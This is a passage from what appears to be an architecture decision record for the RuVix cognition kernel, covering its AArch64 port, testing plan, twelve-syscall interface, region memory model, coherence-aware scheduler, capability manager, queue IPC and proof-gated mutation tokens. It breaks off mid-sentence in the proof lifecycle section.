PTE_CACHEABLE: u64 = 0b11 << 2; // Normal memory, write-back\nconst PTE_DEVICE: u64 = 0b00 << 2; // Device memory, strongly-ordered\n```\n\n#### EL1/EL0 Separation for Kernel/User\n\n- **EL1 (Kernel mode):** All kernel code, syscall handlers, interrupt handlers, scheduler\n- **EL0 (User mode):** All RVF components, WASM runtime, AgentDB, RuView\n\nSyscalls trigger synchronous exceptions (SVC instruction) and transition EL0 \u2192 EL1. The exception handler validates capabilities before dispatching to syscall implementation.\n\n```rust\n// ruvix-aarch64/src/syscall.rs\n#[no_mangle]\npub extern \"C\" fn svc_handler(syscall_num: u64, args: &SyscallArgs) -> SyscallResult {\n let current_task = scheduler::current_task();\n\n match syscall_num {\n 0 => task_spawn(current_task, args),\n 1 => cap_grant(current_task, args),\n 2 => region_map(current_task, args),\n // ... (12 total syscalls)\n _ => Err(KernelError::InvalidSyscall),\n }\n}\n```\n\n#### Secure Monitor Calls for Attestation\n\nOn hardware with Arm TrustZone (Raspberry Pi 4/5), the kernel can invoke Secure Monitor calls (SMC instruction) to request cryptographic operations from the Trusted Execution Environment (TEE):\n\n```rust\n// ruvix-aarch64/src/smc.rs\npub fn secure_hash(data: &[u8]) -> [u8; 32] {\n // SMC call to Secure World for hardware-backed SHA-256\n let result = unsafe {\n smc_call(SMC_HASH_SHA256, data.as_ptr(), data.len())\n };\n result.hash\n}\n\npub fn secure_sign_attestation(attestation: &ProofAttestation) -> Signature {\n // SMC call to Secure World for ML-DSA-65 signing using device key\n unsafe {\n smc_call(SMC_SIGN_MLDSA65, attestation as *const _, size_of::<ProofAttestation>())\n }.signature\n}\n```\n\n**Use cases:**\n- Boot attestation signed by device-unique key (burned into eFUSE)\n- Witness log entries signed by TEE to prevent kernel compromise from tampering\n- Remote attestation for distributed RuVix mesh (Demo 5)\n\n### B.6 Build Path (Weeks 19-42)\n\n| Week | Milestone | Deliverables | Tests |\n|------|-----------|--------------|-------|\n| **19-20** | AArch64 bootstrap | `boot.S`, exception vectors, minimal UART output | QEMU boots, prints \"RuVix\" |\n| **21-22** | MMU setup | 4-level page tables, identity + kernel mappings | Virtual memory functional |\n| **23-24** | Physical allocator | Buddy allocator for 4KB pages from DTB | Unit tests, fuzz tests |\n| **25-26** | Region \u2192 MMU | `RegionManager` using page tables, not mmap | Phase A region tests pass |\n| **27-28** | GIC-400 driver | Interrupt enable/disable, IRQ routing | Timer IRQ delivered to kernel |\n| **29-30** | UART driver | PL011 TX/RX with interrupt support | Console I/O functional |\n| **31-32** | ARM Timer driver | Generic Timer for `timer_wait`, scheduler ticks | Deadline scheduling works |\n| **33-34** | Queue \u2192 interrupts | Device interrupts delivered as queue messages | `sensor_subscribe` functional |\n| **35-36** | WASM runtime port | Wasmtime or wasm-micro-runtime on bare metal | \"Hello World\" WASM executes |\n| **37-38** | Scheduler on hardware | Coherence-aware scheduler using timer IRQs | Multi-task preemption works |\n| **39-40** | RVF boot on QEMU | Full boot sequence from flash RVF | Phase A acceptance test (QEMU) |\n| **41-42** | Raspberry Pi 4 port | Device tree parsing, BCM2711 peripherals | Acceptance test (real hardware) |\n\n### B.7 Testing Strategy\n\n#### QEMU Integration Tests\n\n```bash\n# ruvix-test/qemu_integration.sh\nqemu-system-aarch64 \\\n -machine virt,gic-version=3 \\\n -cpu cortex-a72 \\\n -m 1G \\\n -kernel target/aarch64-unknown-none/release/ruvix-kernel \\\n -drive file=boot.rvf,format=raw,if=pflash \\\n -nographic \\\n -semihosting-config enable=on,target=native\n```\n\n**Test cases:**\n1. Boot sequence completes without panic\n2. MMU maps kernel and user regions correctly\n3. Timer interrupt fires at 100 Hz\n4. UART TX/RX works (loopback test)\n5. GIC delivers interrupts to correct handlers\n6. RVF signature verification passes/fails as expected\n7. Phase A acceptance test (vector mutation + replay)\n\n#### Raspberry Pi 4 Hardware Tests\n\n```bash\n# Copy kernel to SD card FAT32 partition\ncp target/aarch64-unknown-none/release/ruvix-kernel /media/boot/kernel8.img\ncp boot.rvf /media/boot/\n\n# config.txt\narm_64bit=1\nkernel=kernel8.img\nenable_uart=1\n```\n\n**Test cases:**\n1. UART console output appears on GPIO 14/15\n2. LED blink test using GPIO driver\n3. USB keyboard input via queue subscription\n4. Network packet reception via queue (if Ethernet driver implemented)\n5. Thermal monitoring via RPi-specific sensors\n\n### B.8 Known Limitations\n\n1. **No symmetric multiprocessing (SMP)** \u2014 Phase B targets single-core. Multi-core support requires per-CPU interrupt handling and scheduler affinity (future ADR).\n\n2. **No DMA** \u2014 Device drivers use programmed I/O. DMA requires IOMMU configuration and physical address constraints (future enhancement).\n\n3. **No floating-point in kernel** \u2014 AArch64 NEON/SVE disabled in kernel mode. Vector distance computations may use integer quantized formats or userspace WASM components (decision pending).\n\n4. **Fixed memory layout** \u2014 No dynamic memory expansion. All regions declared at boot in RVF manifest.\n\n5. **No power management** \u2014 No CPU idle states, frequency scaling, or suspend/resume. Target: always-on edge devices.\n\n---\n\n## Deciders\n\nruv\n\n## Related\n\n- ADR-029 RVF canonical binary format\n- ADR-030 RVF cognitive container / self-booting vector files\n- ADR-042 Security RVF AIDefence TEE\n- ADR-047 Proof-gated mutation protocol\n- ADR-014 Coherence engine architecture\n- ADR-061 Reasoning kernel architecture\n- ADR-006 Unified memory pool and paging strategy\n- ADR-005 WASM runtime integration\n- ADR-032 RVF WASM integration\n- `crates/cognitum-gate-kernel/` \u2014 no_std WASM coherence kernel\n- `crates/ruvector-verified/` \u2014 ProofGate<T>, ProofEnvironment, attestation chain\n- `crates/rvf/` \u2014 RVF format implementation\n- `crates/ruvector-core/` \u2014 HNSW vector database\n- `crates/ruvector-graph-transformer/` \u2014 graph mutation substrate\n\n---\n\n## 1. Context\n\n### 1.1 The Problem with Conventional Operating Systems\n\nEvery major operating system today \u2014 Linux, Windows, macOS, seL4, Zephyr \u2014 was designed for a world where the primary compute actor is a human being operating through a process abstraction. The process model assumes:\n\n1. A single sequential instruction stream per thread\n2. File-based persistent state (byte streams with names)\n3. POSIX IPC semantics (pipes, sockets, signals)\n4. Discretionary or mandatory access control based on user identity\n5. A scheduler optimized for interactive latency or batch throughput\n\nNone of these assumptions hold for agentic workloads. An AI agent does not think in files. It thinks in vectors, graphs, proofs, and causal event streams. It does not need fork/exec. It needs capability-gated task spawning with proof-of-intent. It does not communicate through byte pipes. It communicates through typed semantic queues where every message carries a coherence score and a witness hash.\n\nRunning agentic workloads on Linux is like running a modern web application on a mainframe batch scheduler \u2014 technically possible, structurally wrong.\n\n### 1.2 What RuVector Already Provides\n\nThe RuVector ecosystem (107 crates, 50+ npm packages) has incrementally built every primitive needed for a cognition kernel, but scattered across userspace libraries:\n\n- **RVF** (ADR-029): A self-describing binary format with segments for vectors, graphs, WASM microkernels, cryptographic witnesses, and TEE attestation quotes.\n- **Cognitum Gate Kernel** (`cognitum-gate-kernel`): A 256-tile no_std WASM coherence fabric operating on mincut partitions.\n- **Proof-Gated Mutation** (ADR-047): `ProofGate<T>` enforcing \"no proof, no mutation\" at the type level with 82-byte attestation witnesses.\n- **Coherence Engine** (ADR-014): Structural consistency scoring that replaces probabilistic confidence with graph-theoretic guarantees.\n- **Cognitive Containers** (ADR-030): Self-booting RVF files that carry their own execution kernel, enabling single-file microservices.\n- **Reasoning Kernel** (ADR-061): A brain-augmented reasoning protocol with witnessable artifacts at every step.\n- **RVF Security Hardening** (ADR-042): TEE attestation, AIDefence layers, EBPF policy enforcement, and witness chain audit.\n\nThese primitives exist. They work. But they run on top of Linux, mediated by POSIX, paying the abstraction tax at every boundary. RuVix promotes them to first-class kernel resources.\n\n### 1.3 Why Not Just Use seL4/Zephyr/Unikernel\n\n**seL4** proves that a capability kernel with formal verification is viable (8,700 lines of C, fully verified). But seL4 has no concept of vectors, graphs, coherence, or proofs. Adding these would require reimplementing the entire RuVector stack as userspace servers communicating through IPC \u2014 reintroducing the overhead we want to eliminate.\n\n**Zephyr/FreeRTOS** target microcontrollers with cooperative/preemptive scheduling. They have no memory protection, no capability model, and no concept of attestation.\n\n**Unikernels (Hermit, Unikraft)** eliminate the OS/application boundary but retain POSIX semantics. They make Linux faster, not different.\n\nRuVix is different: it has six kernel primitives, twelve syscalls, and every mutation is proof-gated. Everything else \u2014 including the entire AgentDB intelligence runtime, Claude Code adapters, and RuView perception pipeline \u2014 lives above the kernel in RVF component space.\n\n---\n\n## 2. Decision\n\n### 2.1 Core Thesis\n\nRuVix is a cognition kernel. It is not a general-purpose operating system. It has exactly six kernel primitives:\n\n| Primitive | Purpose | Analog |\n|-----------|---------|--------|\n| **Task** | Unit of concurrent execution with capability set | seL4 TCB |\n| **Capability** | Unforgeable typed token granting access to a resource | seL4 capability |\n| **Region** | Contiguous memory with access policy (immutable, append-only, slab) | seL4 Untyped + frame |\n| **Queue** | Typed ring buffer for inter-task communication | io_uring SQ/CQ |\n| **Timer** | Deadline-driven scheduling primitive | POSIX timer_create |\n| **Proof** | Cryptographic attestation gating state mutation | Novel (from ADR-047) |\n\nEverything else \u2014 file systems, networking, device drivers, vector indexes, graph engines, AI inference \u2014 is an RVF component running in user space, communicating through queues, accessing resources through capabilities.\n\n### 2.2 Architecture Overview\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 AGENT CONTROL PLANE \u2502\n\u2502 Claude Code \u2502 Codex \u2502 Custom Agents \u2502 AgentDB Planner Runtime \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 RVF COMPONENT SPACE \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 RuView \u2502 \u2502 AgentDB \u2502 \u2502 RuVLLM \u2502 \u2502 Network \u2502 ... \u2502\n\u2502 \u2502 Percep. \u2502 \u2502 Intelli. \u2502 \u2502 Infer. \u2502 \u2502 Stack \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502queue \u2502queue \u2502queue \u2502queue \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 RUVIX COGNITION KERNEL \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Capability Mgr \u2502 \u2502 Queue IPC \u2502 \u2502 Coherence-Aware \u2502 \u2502\n\u2502 \u2502 (cap_grant, \u2502 \u2502 (queue_send, \u2502 \u2502 Scheduler \u2502 \u2502\n\u2502 \u2502 cap_revoke) \u2502 \u2502 queue_recv) \u2502 \u2502 (deadline+novelty \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 io_uring ring \u2502 \u2502 +structural risk) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Region Memory \u2502 \u2502 Proof Engine \u2502 \u2502 Vector/Graph \u2502 \u2502\n\u2502 \u2502 (slabs, immut, \u2502 \u2502 (attest_emit, \u2502 \u2502 Kernel Objects \u2502 \u2502\n\u2502 \u2502 append-only) \u2502 \u2502 proof_verify) \u2502 \u2502 (vector_get/put, \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 graph_apply) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 RVF Boot Loader \u2014 mounts signed RVF packages as root \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 HARDWARE / HYPERVISOR \u2502\n\u2502 AArch64 (primary) \u2502 x86_64 (secondary) \u2502 WASM (hosted) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n---\n\n## 3. Syscall Surface\n\nRuVix exposes exactly 12 syscalls. This is a hard architectural constraint. New functionality is added through RVF components, not new syscalls.\n\n### 3.1 Syscall Table\n\n```rust\n/// The complete RuVix syscall interface.\n/// No syscall may be added without an ADR amendment and ABI version bump.\n\n// --- Task Management ---\n\n/// Spawn a new task with an explicit capability set.\n/// The caller must hold Cap<TaskFactory> to invoke this.\n/// Returns a handle to the new task.\nfn task_spawn(\n entry: RvfComponentId, // RVF component containing the entry point\n caps: &[CapHandle], // capabilities granted to the new task\n priority: TaskPriority, // base scheduling priority\n deadline: Option<Duration>, // optional hard deadline\n) -> Result<TaskHandle, KernelError>;\n\n// --- Capability Management ---\n\n/// Grant a capability to another task.\n/// The granting task must hold the capability with the Grant right.\n/// Capabilities are unforgeable kernel objects.\nfn cap_grant(\n target: TaskHandle,\n cap: CapHandle,\n rights: CapRights, // subset of caller's rights on this cap\n) -> Result<CapHandle, KernelError>;\n\n// --- Region Memory ---\n\n/// Map a memory region into the calling task's address space.\n/// Region policy (immutable, append-only, slab) is set at creation.\nfn region_map(\n size: usize,\n policy: RegionPolicy, // Immutable | AppendOnly | Slab { slot_size }\n cap: CapHandle, // capability authorizing the mapping\n) -> Result<RegionHandle, KernelError>;\n\n// --- Queue IPC ---\n\n/// Send a typed message to a queue.\n/// The message is zero-copy if sender and receiver share a region.\nfn queue_send(\n queue: QueueHandle,\n msg: &[u8], // serialized message (RVF wire format)\n priority: MsgPriority,\n) -> Result<(), KernelError>;\n\n/// Receive a message from a queue.\n/// Blocks until a message is available or the timeout expires.\nfn queue_recv(\n queue: QueueHandle,\n buf: &mut [u8],\n timeout: Duration,\n) -> Result<usize, KernelError>;\n\n// --- Timer ---\n\n/// Wait until a deadline or duration elapses.\n/// The scheduler may preempt the task and resume it when the timer fires.\nfn timer_wait(\n deadline: TimerSpec, // Absolute(Instant) | Relative(Duration)\n) -> Result<(), KernelError>;\n\n// --- RVF Boot ---\n\n/// Mount a signed RVF package into the component namespace.\n/// The kernel verifies the package signature, proof policy, and\n/// witness log policy before making components available.\nfn rvf_mount(\n rvf_data: &[u8], // raw RVF bytes (or region handle)\n mount_point: &str, // namespace path (e.g., \"/agents/planner\")\n cap: CapHandle, // capability authorizing the mount\n) -> Result<RvfMountHandle, KernelError>;\n\n// --- Attestation ---\n\n/// Emit a cryptographic attestation for a completed operation.\n/// The attestation is appended to the kernel's witness log.\n/// Returns the 82-byte attestation (compatible with ADR-047 ProofAttestation).\nfn attest_emit(\n operation: &AttestPayload, // what was done\n proof: &ProofToken, // the proof that authorized it\n) -> Result<ProofAttestation, KernelError>;\n\n// --- Vector/Graph Kernel Objects ---\n\n/// Read a vector from a kernel-resident vector store.\n/// Returns the vector data and its coherence metadata.\nfn vector_get(\n store: VectorStoreHandle,\n key: VectorKey,\n) -> Result<(Vec<f32>, CoherenceMeta), KernelError>;\n\n/// Write a vector to a kernel-resident vector store.\n/// Requires a valid proof token \u2014 no proof, no mutation.\nfn vector_put_proved(\n store: VectorStoreHandle,\n key: VectorKey,\n data: &[f32],\n proof: ProofToken,\n) -> Result<ProofAttestation, KernelError>;\n\n/// Apply a graph mutation (add/remove node/edge, update weight).\n/// Requires a valid proof token \u2014 no proof, no mutation.\nfn graph_apply_proved(\n graph: GraphHandle,\n mutation: &GraphMutation,\n proof: ProofToken,\n) -> Result<ProofAttestation, KernelError>;\n\n// --- Sensor / Perception ---\n\n/// Subscribe to a sensor stream (RuView perception events).\n/// Events are delivered to the specified queue.\nfn sensor_subscribe(\n sensor: SensorDescriptor, // identifies the sensor (type, device, filter)\n target_queue: QueueHandle,\n cap: CapHandle,\n) -> Result<SubscriptionHandle, KernelError>;\n```\n\n### 3.2 Syscall Properties\n\nEvery syscall satisfies these invariants:\n\n1. **Capability-gated**: No syscall succeeds without an appropriate capability handle. There is no ambient authority.\n2. **Proof-required for mutation**: `vector_put_proved`, `graph_apply_proved`, and `rvf_mount` require cryptographic proof tokens. Read-only operations do not.\n3. **Bounded latency**: Every syscall has a worst-case execution time expressible in cycles. The kernel contains no unbounded loops.\n4. **Witness-logged**: Every successful syscall that mutates state emits a witness record to the kernel's append-only log.\n5. **No allocation in syscall path**: The kernel pre-allocates all internal structures. Syscalls operate on pre-mapped regions and pre-created queues.\n\n---\n\n## 4. Memory Model\n\n### 4.1 Region-Based Memory\n\nRuVix replaces virtual memory with regions. A region is a contiguous, capability-protected memory object with one of three policies:\n\n```rust\n#[derive(Clone, Copy, Debug)]\npub enum RegionPolicy {\n /// Contents are set once at creation and never modified.\n /// The kernel may deduplicate identical immutable regions.\n /// Ideal for: RVF component code, trained model weights, lookup tables.\n Immutable,\n\n /// Contents can only be appended, never overwritten or truncated.\n /// A monotonic write cursor tracks the append position.\n /// Ideal for: witness logs, event streams, time-series vectors.\n AppendOnly {\n max_size: usize,\n },\n\n /// Fixed-size slots allocated from a free list.\n /// Slots can be freed and reused. No fragmentation by construction.\n /// Ideal for: task control blocks, capability tables, queue ring buffers.\n Slab {\n slot_size: usize,\n slot_count: usize,\n },\n}\n```\n\n### 4.2 No Virtual Memory, No Page Faults\n\nRuVix does not implement demand paging. All regions are physically backed at `region_map` time. This eliminates:\n\n- Page fault handlers (a major source of kernel complexity and timing jitter)\n- Swap \u2014 if memory is exhausted, `region_map` returns `Err(OutOfMemory)`\n- Copy-on-write \u2014 immutable regions are shared by reference; mutable regions are explicitly copied through `region_map` with a source handle\n\nThis design follows seL4's philosophy: the kernel provides the mechanism (regions), and policy (which regions to create, when to reclaim) is handled by a user-space resource manager running as an RVF component.\n\n### 4.3 Vector Store as Kernel Memory Object\n\nUnlike conventional kernels where all data structures are userspace constructs, RuVix makes vector stores and graph stores kernel-resident objects. Vector data lives in kernel-managed regions with the same protection as capability tables. HNSW index nodes are slab-allocated (fixed-size slots, zero allocator overhead during search). Coherence metadata is co-located with each vector (coherence score, last-mutation epoch, proof attestation hash). On AArch64 with SVE/SME, the kernel performs distance computations in-kernel without context switches.\n\n```rust\npub struct KernelVectorStore {\n hnsw_region: RegionHandle, // slab region for HNSW graph nodes\n data_region: RegionHandle, // slab region for vector data (f32 or quantized)\n witness_region: RegionHandle, // append-only mutation witness log\n coherence_config: CoherenceConfig,\n proof_policy: ProofPolicy,\n dimensions: u32,\n capacity: u32,\n}\n\npub struct KernelGraphStore {\n node_region: RegionHandle, // slab region for graph nodes\n edge_region: RegionHandle, // slab region for adjacency lists\n witness_region: RegionHandle, // append-only mutation witness log\n partition_meta: PartitionMeta, // MinCut partition metadata\n proof_policy: ProofPolicy,\n}\n```\n\n---\n\n## 5. Scheduling Model\n\n### 5.1 Coherence-Aware Scheduler\n\nThe RuVix scheduler is not a conventional priority scheduler. It combines three signals:\n\n1. **Deadline pressure**: Hard real-time tasks with `deadline` set in `task_spawn` get earliest-deadline-first (EDF) scheduling within their capability partition.\n2. **Novelty signal**: Tasks processing genuinely new information (measured by vector distance from recent inputs) get a priority boost. This prevents the system from starving exploration in favor of exploitation.\n3. **Structural risk**: Tasks whose pending mutations would increase graph incoherence (lowering the coherence score below a threshold) get deprioritized until a proof-verified coherence restoration is scheduled.\n\n```rust\nfn compute_priority(task: &TaskControlBlock) -> SchedulerScore {\n let deadline_urgency = task.deadline.map_or(0.0, |d| {\n 1.0 / (d.saturating_duration_since(now()).as_micros() as f64 + 1.0)\n });\n let novelty_boost = task.pending_input_novelty; // 0.0..1.0\n let risk_penalty = task.pending_coherence_delta.min(0.0).abs() * RISK_WEIGHT;\n SchedulerScore { score: deadline_urgency + novelty_boost - risk_penalty }\n}\n```\n\n### 5.2 Scheduling Guarantees\n\n- **No priority inversion**: Capability-based access means tasks cannot block on resources they do not hold capabilities for. The kernel never needs priority inheritance protocols.\n- **Bounded preemption**: The kernel preempts at queue boundaries (after a `queue_send` or `queue_recv` completes), not at arbitrary instruction boundaries. This eliminates the need for kernel-level spinlocks.\n- **Partition scheduling**: Tasks are grouped by their RVF mount origin. Each partition gets a guaranteed time slice, preventing a misbehaving RVF component from starving others.\n\n---\n\n## 6. Capability Manager\n\n### 6.1 seL4-Inspired Explicit Object Access\n\nEvery kernel object (task, region, queue, timer, vector store, graph store, RVF mount) is accessed exclusively through capabilities. A capability is an unforgeable kernel-managed token comprising:\n\n```rust\n/// A capability is a kernel-managed, unforgeable access token.\n#[derive(Clone)]\npub struct Capability {\n /// Unique identifier for the kernel object.\n object_id: ObjectId,\n /// The type of kernel object (Task, Region, Queue, Timer, VectorStore, GraphStore, RvfMount).\n object_type: ObjectType,\n /// Rights bitmap: Read, Write, Grant, Revoke, Execute, Prove.\n rights: CapRights,\n /// Capability badge \u2014 caller-visible identifier for demultiplexing.\n badge: u64,\n /// Epoch \u2014 invalidated if the object is destroyed or the capability is revoked.\n epoch: u64,\n}\n\nbitflags::bitflags! {\n pub struct CapRights: u32 {\n const READ = 0b0000_0001;\n const WRITE = 0b0000_0010;\n const GRANT = 0b0000_0100;\n const REVOKE = 0b0000_1000;\n const EXECUTE = 0b0001_0000;\n const PROVE = 0b0010_0000; // right to generate proof tokens for this object\n }\n}\n```\n\n### 6.2 Capability Derivation Rules\n\nA task can only grant capabilities it holds, with equal or fewer rights. `PROVE` is required for `vector_put_proved`/`graph_apply_proved`. `GRANT` is required for `cap_grant`. Revoking a capability invalidates all derived capabilities (propagation through the derivation tree).\n\n### 6.3 Initial Capability Set\n\nAt boot, the kernel creates a root task holding capabilities for all physical memory (as untyped regions), the boot RVF package, the kernel witness log (append-only), and a root queue for hardware interrupts. The root task creates all other kernel objects and distributes capabilities. Following seL4's principle: the kernel creates nothing after boot.\n\n---\n\n## 7. Queue-First IPC\n\n### 7.1 Shared Ring Queues\n\nAll inter-task communication in RuVix goes through queues. There are no synchronous IPC calls, no shared memory without explicit region grants, and no signals.\n\n```rust\npub struct KernelQueue {\n ring_region: RegionHandle, // shared region containing the ring buffer\n ring_size: u32, // power of 2\n sq_head: AtomicU32, // submission queue head (sender writes)\n sq_tail: AtomicU32, // submission queue tail (kernel advances)\n cq_head: AtomicU32, // completion queue head (receiver writes)\n cq_tail: AtomicU32, // completion queue tail (kernel advances)\n schema: WitTypeId, // RVF WIT type for message validation\n max_msg_size: u32,\n}\n```\n\n### 7.2 Zero-Copy Semantics\n\nWhen sender and receiver share a region, `queue_send` places a descriptor (offset + length) in the ring rather than copying bytes. The receiver reads directly from the shared region. This is critical for high-throughput vector streaming where copying 768-dimensional f32 vectors would be prohibitive.\n\n### 7.3 Queue-Based Device Drivers\n\nHardware interrupts are delivered as messages to designated queues. A device driver is an RVF component that:\n1. Holds capabilities for device MMIO regions\n2. Subscribes to interrupt queues\n3. Translates hardware events into typed messages on application queues\n\nThis means all device drivers run in user space with no kernel privileges beyond their capability set.\n\n---\n\n## 8. Proof-Gated Mutation Protocol\n\n### 8.1 Kernel-Enforced Invariant\n\nIn RuVix, proof-gated mutation (ADR-047) is not a library convention. It is a kernel invariant. The kernel physically prevents state mutation without a valid proof token.\n\n```rust\n/// A proof token authorizing a specific mutation.\n/// Generated by the Proof Engine and consumed by a mutating syscall.\npub struct ProofToken {\n /// Hash of the mutation being authorized.\n mutation_hash: [u8; 32],\n /// Proof tier (Reflex, Standard, Deep) \u2014 from ADR-047.\n tier: ProofTier,\n /// The proof payload (Merkle witness, ZK proof, or coherence certificate).\n payload: ProofPayload,\n /// Expiry \u2014 proofs are time-bounded to prevent replay.\n valid_until: Instant,\n /// Nonce \u2014 prevents proof reuse.\n nonce: u64,\n}\n\n#[derive(Clone, Copy)]\npub enum ProofTier {\n /// Sub-microsecond hash check. For high-frequency vector updates.\n Reflex,\n /// Merkle witness verification. For graph mutations.\n Standard,\n /// Full coherence verification with mincut analysis. For structural changes.\n Deep,\n}\n```\n\n### 8.2 Proof Lifecycle\n\n1. A task prepares a mutation (e.g., `GraphMutation::AddEdge { from, to, weight }`).\n2. The task computes the mutation hash and requests a proof from the Proof Engine (an RVF component, not in-kernel).\n3. The Proof Engine evaluates the mutation against the current coherence state, proof policy, and attestation chain.\n4. If approved, the Proof Engine issues a `ProofToken` with a bounded validity window.\n5. The task calls `graph_apply_proved(graph, 